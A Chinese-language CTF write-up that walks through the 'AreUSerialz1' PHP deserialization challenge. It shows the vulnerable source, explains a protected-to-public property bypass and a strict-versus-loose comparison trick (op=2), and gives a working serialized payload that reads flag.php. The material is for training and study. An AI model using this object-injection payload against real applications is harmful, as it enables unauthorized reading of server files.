今天做了一道比较有趣的反序列化题目([网鼎杯 2020 青龙组]AreUSerialz1),寻思着记录一下。先看源代码
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
先来分析一下这道题目的代码,首先可以排除construct这个魔术方法,这里并没有进行序列化,
然后有个is_valid($s)判断,这个主要是会使得我们在序列化protected属性的变量时带着的空字符被检测出来。
所以我们可以考虑用public替代protected的方法将它绕过(这里参考大佬的wp得知对于PHP版本7.1+,对属性的类型不敏感)。
然后我们想要打开flag.php,可以考虑走op == "2"这条路径,然后注意到析构函数destruct那里与"2"的比较为强比较,而process是弱比较,所以考虑绕过方法,由于两边都是字符串"2",以"2a"方式绕过是不现实的,所以考虑用
$op=2
这一方式进行绕过,这样成功将$res赋值file_get_contents($this->filename)并output
payload:
<?php
class FileHandler {
public $op=2;
public $filename="flag.php";
public $content;
}
$a=new FileHandler();
echo serialize($a);
// O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}
F12查看源代码就能看到flag
标签:function,res,filename,content,2020,output,AreUSerialz1,网鼎杯,op From: https://www.cnblogs.com/c1432/p/18533815